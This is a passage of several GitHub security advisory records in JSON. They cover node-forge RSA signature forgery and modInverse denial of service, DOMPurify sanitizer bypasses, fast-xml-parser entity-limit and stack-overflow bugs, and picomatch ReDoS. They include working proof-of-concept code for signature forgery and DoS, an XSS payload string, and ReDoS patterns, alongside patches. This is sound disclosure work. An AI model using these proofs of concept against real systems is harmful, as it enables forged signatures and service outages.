check for this.\n  // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.\n  const ffCount = 0; \n  // `garbageLen` affects DER length field sizes, which in turn affect how\n  // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.\n  // A small cap (8) is enough here: DER length-size transitions are discrete\n  // and few (\u003c128, \u003c=255, \u003c=65535, ...), so this stabilizes quickly.\n  let garbageLen = 0;\n  for (let i = 0; i \u003c 8; i += 1) {\n    const gLenEnc = derLen(garbageLen).length;\n    const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;\n    const seqLenEnc = derLen(seqLen).length;\n    const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;\n    const next = k - fixed;\n    if (next === garbageLen) break;\n    garbageLen = next;\n  }\n  const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;\n  const prefix = Buffer.concat([\n    Buffer.from([0x00, 0x01]),\n    Buffer.alloc(ffCount, 0xff),\n    Buffer.from([0x00]),\n    Buffer.from([0x30]), derLen(seqLen),\n    algAndDigest,\n    Buffer.from([0x04]), derLen(garbageLen)\n  ]);\n\n  // Build the numeric interval of all EM values that start with `prefix`:\n  // - `low`  = prefix || 00..00\n  // - `high` = one past (prefix || ff..ff)\n  // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.\n  const suffixLen = k - prefix.length;\n  const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));\n  const high = low + (1n \u003c\u003c BigInt(8 * suffixLen));\n  const s = cbrtCeil(low);\n  if (s \u003e cbrtFloor(high - 1n) || s \u003e= n) throw new Error(\u0027no candidate in interval\u0027);\n\n  const sig = toBuf(s, k);\n\n  const controlMsg = Buffer.from(\u0027control-message\u0027, \u0027utf8\u0027);\n  const controlSig = crypto.sign(\u0027sha256\u0027, controlMsg, {\n    key: privateKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  });\n\n  // forge verification calls (library under test)\n  const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);\n  const forgedForge = forgeStrictVerify(publicKey, msg, sig);\n\n  // Node.js verification calls (OpenSSL-backed reference behavior)\n  const controlNode = crypto.verify(\u0027sha256\u0027, controlMsg, {\n    key: publicKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  }, controlSig);\n  const forgedNode = crypto.verify(\u0027sha256\u0027, msg, {\n    key: publicKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  }, sig);\n\n  console.log(\u0027control-forge-strict:\u0027, controlForge.ok, controlForge.err || \u0027\u0027);\n  console.log(\u0027control-node:\u0027, controlNode);\n  console.log(\u0027forgery (forge library, strict):\u0027, forgedForge.ok, forgedForge.err || \u0027\u0027);\n  console.log(\u0027forgery (node/OpenSSL):\u0027, forgedNode);\n}\n\nmain();\n```\n\u003c/details\u003e\n\n## Suggested Patch\n- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (`PS \u003e= 8`) in `_decodePkcs1_v1_5` before accepting the block.\n- Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).\n\nHere is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:\n\n```diff\nindex b207a63..ec8a9c1 100644\n--- a/lib/rsa.js\n+++ b/lib/rsa.js\n@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {\n             error.errors = errors;\n             throw error;\n           }\n+\n+          if(obj.value.length != 2) {\n+            var error = new Error(\n+              \u0027DigestInfo ASN.1 object must contain exactly 2 fields for \u0027 +\n+              \u0027a valid RSASSA-PKCS1-v1_5 package.\u0027);\n+            error.errors = errors;\n+            throw error;\n+          }\n           // check hash algorithm identifier\n           // see PKCS1-v1-5DigestAlgorithms in RFC 8017\n           // FIXME: add support to validator for strict value choices\n@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {\n       }\n       ++padNum;\n     }\n+\n+    if (padNum \u003c 8) {\n+      throw new Error(\u0027Encryption block is invalid.\u0027);\n+    }\n   } else if(bt === 0x02) {\n     // look for 0x00 byte\n     padNum = 0;\n```\n## Resources\n- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8\n  - \u003e This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. \n- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html\n- `lib/rsa.js` `key.verify(...)` at lines ~1139-1223.\n- `lib/rsa.js` `_decodePkcs1_v1_5(...)` at lines ~1632-1695.\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.",
  "id": "GHSA-ppp5-5v6c-4jwp",
  "modified": "2026-03-27T21:50:55Z",
  "published": "2026-03-26T22:02:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33894"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc2313#section-8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/digitalbazaar/forge"
    },
    {
      "type": "WEB",
      "url": "https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc8017.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Forge has signature forgery in RSA-PKCS due to ASN.1 extra field  "
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.3.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-783"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T00:46:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\nIn `src/purify.ts:1117-1123`, `ADD_TAGS` as a function (via `EXTRA_ELEMENT_HANDLING.tagCheck`) bypasses `FORBID_TAGS` due to short-circuit evaluation.\n\nThe condition:\n```\n!(tagCheck(tagName)) \u0026\u0026 (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])\n```\nWhen `tagCheck(tagName)` returns `true`, the entire condition is `false` and the element is kept \u2014 `FORBID_TAGS[tagName]` is never evaluated.\n\n## Inconsistency\nThis contradicts the attribute-side pattern at line 1214 where `FORBID_ATTR` explicitly wins first:\n```\nif (FORBID_ATTR[lcName]) { continue; }\n```\nFor tags, FORBID should also take precedence over ADD.\n\n## Impact\nApplications using both `ADD_TAGS` as a function and `FORBID_TAGS` simultaneously get unexpected behavior \u2014 forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.\n\n## Suggested Fix\nCheck `FORBID_TAGS` before `tagCheck`:\n```\nif (FORBID_TAGS[tagName]) { /* remove */ }\nelse if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }\n```\n\n## Affected Version\nv3.3.3 (commit 883ac15)",
  "id": "GHSA-39q2-94rc-95cp",
  "modified": "2026-04-16T00:46:35Z",
  "published": "2026-04-16T00:46:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-39q2-94rc-95cp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOMPurify\u0027s ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-beta.3"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.5.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33349"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T19:13:13Z",
    "nvd_published_at": "2026-03-24T20:16:29Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `DocTypeReader` in fast-xml-parser uses JavaScript truthy checks to evaluate `maxEntityCount` and `maxEntitySize` configuration limits. When a developer explicitly sets either limit to `0` \u2014 intending to disallow all entities or restrict entity size to zero bytes \u2014 the falsy nature of `0` in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.\n\n## Details\n\nThe `OptionsBuilder.js` correctly preserves a user-supplied value of `0` using nullish coalescing (`??`):\n\n```js\n// src/xmlparser/OptionsBuilder.js:111\nmaxEntityCount: value.maxEntityCount ?? 100,\n// src/xmlparser/OptionsBuilder.js:107\nmaxEntitySize: value.maxEntitySize ?? 10000,\n```\n\nHowever, `DocTypeReader.js` uses truthy evaluation to check these limits. Because `0` is falsy in JavaScript, the entire guard expression short-circuits to `false`, and the limit is never enforced:\n\n```js\n// src/xmlparser/DocTypeReader.js:30-32\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntityCount \u0026\u0026          // \u2190 0 is falsy, skips check\n    entityCount \u003e= this.options.maxEntityCount) {\n    throw new Error(`Entity count ...`);\n}\n```\n\n```js\n// src/xmlparser/DocTypeReader.js:128-130\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntitySize \u0026\u0026            // \u2190 0 is falsy, skips check\n    entityValue.length \u003e this.options.maxEntitySize) {\n    throw new Error(`Entity \"${entityName}\" size ...`);\n}\n```\n\nThe execution flow is:\n\n1. Developer configures `processEntities: { maxEntityCount: 0, maxEntitySize: 0 }` intending to block all entity definitions.\n2. `OptionsBuilder.normalizeProcessEntities` preserves the `0` values via `??` (correct behavior).\n3. Attacker supplies XML with a DOCTYPE containing many large entities.\n4. `DocTypeReader.readDocType` evaluates `this.options.maxEntityCount \u0026\u0026 ...` \u2014 since `0` is falsy, the entire condition is `false`.\n5. `DocTypeReader.readEntityExp` evaluates `this.options.maxEntitySize \u0026\u0026 ...` \u2014 same result.\n6. All entity count and size limits are bypassed; entities are parsed without restriction.\n\n## PoC\n\n```js\nconst { XMLParser } = require(\"fast-xml-parser\");\n\n// Developer intends: \"no entities allowed at all\"\nconst parser = new XMLParser({\n  processEntities: {\n    enabled: true,\n    maxEntityCount: 0,    // should mean \"zero entities allowed\"\n    maxEntitySize: 0       // should mean \"zero-length entities only\"\n  }\n});\n\n// Generate XML with many large entities\nlet entities = \"\";\nfor (let i = 0; i \u003c 1000; i++) {\n  entities += `\u003c!ENTITY e${i} \"${\"A\".repeat(100000)}\"\u003e`;\n}\n\nconst xml = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n  ${entities}\n]\u003e\n\u003cfoo\u003e\u0026e0;\u003c/foo\u003e`;\n\n// This should throw \"Entity count exceeds maximum\" but does not\ntry {\n  const result = parser.parse(xml);\n  console.log(\"VULNERABLE: parsed without error, entities bypassed limits\");\n} catch (e) {\n  console.log(\"SAFE:\", e.message);\n}\n\n// Control test: setting maxEntityCount to 1 correctly blocks\nconst safeParser = new XMLParser({\n  processEntities: {\n    enabled: true,\n    maxEntityCount: 1,\n    maxEntitySize: 100\n  }\n});\n\ntry {\n  safeParser.parse(xml);\n  console.log(\"ERROR: should have thrown\");\n} catch (e) {\n  console.log(\"CONTROL:\", e.message);  // \"Entity count (2) exceeds maximum allowed (1)\"\n}\n```\n\n**Expected output:**\n```\nVULNERABLE: parsed without error, entities bypassed limits\nCONTROL: Entity count (2) exceeds maximum allowed (1)\n```\n\n## Impact\n\n- **Denial of Service:** An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured `maxEntityCount: 0` or `maxEntitySize: 0`, intending to prohibit entities entirely.\n- **Security control bypass:** Developers who explicitly set restrictive limits to `0` receive no protection \u2014 the opposite of their intent. This creates a false sense of security.\n- **Scope:** Only applications that explicitly set these limits to `0` are affected. The default configuration (`maxEntityCount: 100`, `maxEntitySize: 10000`) is not vulnerable. The `enabled: false` option correctly disables entity processing entirely and is not affected.\n\n## Recommended Fix\n\nReplace the truthy checks in `DocTypeReader.js` with explicit type checks that correctly treat `0` as a valid numeric limit:\n\n```js\n// src/xmlparser/DocTypeReader.js:30-32 \u2014 replace:\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntityCount \u0026\u0026\n    entityCount \u003e= this.options.maxEntityCount) {\n\n// with:\nif (this.options.enabled !== false \u0026\u0026\n    typeof this.options.maxEntityCount === \u0027number\u0027 \u0026\u0026\n    entityCount \u003e= this.options.maxEntityCount) {\n```\n\n```js\n// src/xmlparser/DocTypeReader.js:128-130 \u2014 replace:\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntitySize \u0026\u0026\n    entityValue.length \u003e this.options.maxEntitySize) {\n\n// with:\nif (this.options.enabled !== false \u0026\u0026\n    typeof this.options.maxEntitySize === \u0027number\u0027 \u0026\u0026\n    entityValue.length \u003e this.options.maxEntitySize) {\n```\n\n# Workaround\n\nIf you don\u0027t want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.",
  "id": "GHSA-jp2q-39xq-3w4g",
  "modified": "2026-04-08T22:27:44Z",
  "published": "2026-03-19T19:13:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-jp2q-39xq-3w4g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33349"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/239b64aa1fc5c5455ddebbbb54a187eb68c9fdb7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/88d0936a23dabe51bfbf42255e2ce912dfee2221"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation in fast-xml-parser"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.3.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-183"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T03:46:07Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\nDOMPurify allows `ADD_ATTR` to be provided as a predicate function via `EXTRA_ELEMENT_HANDLING.attributeCheck`. When the predicate returns `true`, `_isValidAttribute` short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as `\u003ca href=\"javascript:alert(document.domain)\"\u003e` and have the `javascript:` URL survive, because URI validation is skipped for that attribute while other checks still pass. The provided PoC accepts `href` for anchors and then triggers a click inside an iframe, showing that the sanitized payload executes despite the protocol bypass.\n\n## Impact\nPredicate-based allowlisting bypasses DOMPurify\u0027s URI validation, allowing unsafe protocols such as `javascript:` to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.\n\n## Credits\nIdentified by Cantina\u2019s Apex (https://www.cantina.security).",
  "id": "GHSA-cjmm-f4jc-qw8r",
  "modified": "2026-05-29T21:47:07Z",
  "published": "2026-04-03T03:46:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-cjmm-f4jc-qw8r"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/releases/tag/3.3.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOMPurify ADD_ATTR predicate skips URI validation"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "node-forge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33891"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T21:57:48Z",
    "nvd_published_at": "2026-03-27T21:17:25Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU.\nAffected Package\n\nPackage name: node-forge (npm: node-forge)\nRepository: https://github.com/digitalbazaar/forge\nAffected versions: All versions (including latest)\nAffected file: lib/jsbn.js, function bnModInverse()\nRoot cause component: Bundled copy of the jsbn (JavaScript Big Number) library\n\n## Vulnerability Details\n\nType: Denial of Service (DoS)\nCWE: CWE-835 (Loop with Unreachable Exit Condition)\nAttack vector: Network (if the application processes untrusted input that reaches modInverse)\nPrivileges required: None\nUser interaction: None\nImpact: Availability (process hangs indefinitely)\nSuggested CVSS v3.1 score: 5.3\u20137.5 (depending on the context of usage)\n\n## Root Cause Analysis\n\nThe BigInteger.prototype.modInverse(m) function in lib/jsbn.js implements the Extended Euclidean Algorithm to compute the modular multiplicative inverse of this modulo m.\nMathematically, the modular inverse of 0 does not exist \u2014 gcd(0, m) = m \u2260 1 for any m \u003e 1. However, the implementation does not check whether the input value is zero before entering the algorithm\u0027s main loop. When this equals 0, the algorithm\u0027s loop condition is never satisfied for termination, resulting in an infinite loop.\nThe relevant code path in lib/jsbn.js:\n```js\njavascriptfunction bnModInverse(m) {\n  // ... setup ...\n  // No check for this == 0\n  // Enters Extended Euclidean Algorithm loop that never terminates when this == 0\n}\n```\n\n## Attack Scenario\n\nAny application using node-forge that passes attacker-controlled or untrusted input to a code path involving modInverse() is vulnerable. Potential attack surfaces include:\n\nDSA/ECDSA signature verification \u2014 A crafted signature with s = 0 would trigger s.modInverse(q), causing the verifier to hang.\nCustom RSA or Diffie-Hellman implementations \u2014 Applications performing modular arithmetic with user-supplied parameters.\nAny cryptographic protocol where an attacker can influence a value that is subsequently passed to modInverse().\n\nA single malicious request can cause the Node.js event loop to block indefinitely, rendering the entire application unresponsive.\n\n## Proof of Concept\n\nEnvironment Setup\n```bash\nmkdir forge-poc \u0026\u0026 cd forge-poc\nnpm init -y\nnpm install node-forge\n```\nReproduction (poc.js)\nA single script that safely detects the vulnerability using a child process with timeout. The parent process is never at risk of hanging.\n```bash\nmkdir forge-poc \u0026\u0026 cd forge-poc\nnpm init -y\nnpm install node-forge\n# Save the script below as poc.js, then run:\nnode poc.js\n```\n```javascript\n\u0027use strict\u0027;\nconst { spawnSync } = require(\u0027child_process\u0027);\n\nconst childCode = `\n  const forge = require(\u0027node-forge\u0027);\n  // jsbn may not be auto-loaded; try explicit require if needed\n  if (!forge.jsbn) {\n    try { require(\u0027node-forge/lib/jsbn\u0027); } catch(e) {}\n  }\n  if (!forge.jsbn || !forge.jsbn.BigInteger) {\n    console.error(\u0027ERROR: forge.jsbn.BigInteger not available\u0027);\n    process.exit(2);\n  }\n  const BigInteger = forge.jsbn.BigInteger;\n  const zero = new BigInteger(\u00270\u0027, 10);\n  const mod = new BigInteger(\u00273\u0027, 10);\n  // This call should throw or return 0, but instead loops forever\n  const inv = zero.modInverse(mod);\n  console.log(\u0027returned: \u0027 + inv.toString());\n`;\n\nconsole.log(\u0027[*] Testing: BigInteger(0).modInverse(3)\u0027);\nconsole.log(\u0027[*] Expected: throw an error or return quickly\u0027);\nconsole.log(\u0027[*] Spawning child process with 5s timeout...\u0027);\nconsole.log();\n\nconst result = spawnSync(process.execPath, [\u0027-e\u0027, childCode], {\n  encoding: \u0027utf8\u0027,\n  timeout: 5000,\n});\n\nif (result.error \u0026\u0026 result.error.code === \u0027ETIMEDOUT\u0027) {\n  console.log(\u0027[VULNERABLE] Child process timed out after 5s\u0027);\n  console.log(\u0027  -\u003e modInverse(0, 3) entered an infinite loop (DoS confirmed)\u0027);\n  process.exit(0);\n}\n\nif (result.status === 2) {\n  console.log(\u0027[ERROR] Could not access BigInteger:\u0027, result.stderr.trim());\n  console.log(\u0027  -\u003e Check your node-forge installation\u0027);\n  process.exit(1);\n}\n\nif (result.status === 0) {\n  console.log(\u0027[NOT VULNERABLE] modInverse returned:\u0027, result.stdout.trim());\n  process.exit(1);\n}\n\nconsole.log(\u0027[NOT VULNERABLE] Child exited with error (status \u0027 + result.status + \u0027)\u0027);\nif (result.stderr) console.log(\u0027  stderr:\u0027, result.stderr.trim());\nprocess.exit(1);\n```\nExpected Output\n```\n[*] Testing: BigInteger(0).modInverse(3)\n[*] Expected: throw an error or return quickly\n[*] Spawning child process with 5s timeout...\n\n[VULNERABLE] Child process timed out after 5s\n  -\u003e modInverse(0, 3) entered an infinite loop (DoS confirmed)\nVerified On\n```\n\nnode-forge v1.3.1 (latest at time of writing)\nNode.js v18.x / v20.x / v22.x\nmacOS / Linux / Windows\n\n## Impact\n\nAvailability: An attacker can cause a complete Denial of Service by sending a single crafted input that reaches the modInverse() code path. The Node.js process will hang indefinitely, blocking the event loop and making the application unresponsive to all subsequent requests.\nScope: node-forge is a widely used cryptographic library with millions of weekly downloads on npm. Any application that processes untrusted cryptographic parameters through node-forge may be affected.\n\n## Suggested Fix\n\nAdd a zero-value check at the entry of bnModInverse() in lib/jsbn.js:\n```javascript\nfunction bnModInverse(m) {\n  var ac = m.isEven();\n  // Add this check:\n  if (this.signum() == 0) {\n    throw new Error(\u0027BigInteger has no modular inverse: input is zero\u0027);\n  }\n  // ... rest of the existing implementation ...\n}\n```\nAlternatively, return BigInteger.ZERO if that behavior is preferred, though throwing an error is more mathematically correct and consistent with other BigInteger implementations (e.g., Java\u0027s BigInteger.modInverse() throws ArithmeticException).",
  "id": "GHSA-5m6q-g25r-mvwx",
  "modified": "2026-03-27T21:50:24Z",
  "published": "2026-03-26T21:57:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-5m6q-g25r-mvwx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33891"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/commit/9bb8d67b99d17e4ebb5fd7596cd699e11f25d023"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/digitalbazaar/forge"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Forge has Denial of Service via Infinite Loop in BigInteger.modInverse() with Zero Input"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-beta.0"
            },
            {
              "fixed": "4.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27942"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-120"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-26T22:33:10Z",
    "nvd_published_at": "2026-02-26T02:16:22Z",
    "severity": "LOW"
  },
  "details": "### Impact\nApplication crashes with stack overflow when user use XML builder with `prserveOrder:true` for following or similar input \n\n```\n[{\n    \u0027foo\u0027: [\n        { \u0027bar\u0027: [{ \u0027@_V\u0027: \u0027baz\u0027 }] }\n    ]\n}]\n```\n\nCause: `arrToStr` was not validating if the input is an array or a string and treating all non-array values as text content.\n_What kind of vulnerability is it? Who is impacted?_\n\n### Patches\nYes in 5.3.8\n\n### Workarounds\nUse XML builder with `preserveOrder:false` or check the input data before passing to builder.\n\n### References\n[_Are there any links users can visit to find out more?_](https://github.com/NaturalIntelligence/fast-xml-parser/pull/791)",
  "id": "GHSA-fj3w-jwp8-x2g3",
  "modified": "2026-03-06T22:00:11Z",
  "published": "2026-02-26T22:33:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-fj3w-jwp8-x2g3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27942"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/pull/791"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/c13a961910f14986295dd28484eee830fa1a0e8a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "fast-xml-parser has stack overflow in XMLBuilder with preserveOrder"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "picomatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "picomatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "picomatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T21:12:07Z",
    "nvd_published_at": "2026-03-26T22:16:30Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n`picomatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as `+()` and `*()`, especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.\n\nExamples of problematic patterns include `+(a|aa)`, `+(*|?)`, `+(+(a))`, `*(+(a))`, and `+(+(+(a)))`. In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, `+(a|aa)` compiled to `^(?:(?=.)(?:a|aa)+)$` and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as `+(+(a))` and `*(+(a))` took around 29 seconds to reject a 33-character input on a modern M1 MacBook.\n\nApplications are impacted when they allow untrusted users to supply glob patterns that are passed to `picomatch` for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.\n\n### Patches\nThis issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.\n\nUsers should upgrade to one of these versions or later, depending on their supported release line.\n\n### Workarounds\nIf upgrading is not immediately possible, avoid passing untrusted glob patterns to `picomatch`.\n\nPossible mitigations include:\n- disable extglob support for untrusted patterns by using `noextglob: true`\n- reject or sanitize patterns containing nested extglobs or extglob quantifiers such as `+()` and `*()`\n- enforce strict allowlists for accepted pattern syntax\n- run matching in an isolated worker or separate process with time and resource limits\n- apply application-level request throttling and input validation for any endpoint that accepts glob patterns\n\n### Resources\n- Picomatch repository: https://github.com/micromatch/picomatch\n- `lib/parse.js` and `lib/constants.js` are involved in generating the vulnerable regex forms\n- Comparable ReDoS precedent: CVE-2024-4067 (`micromatch`)\n- Comparable generated-regex precedent: CVE-2024-45296 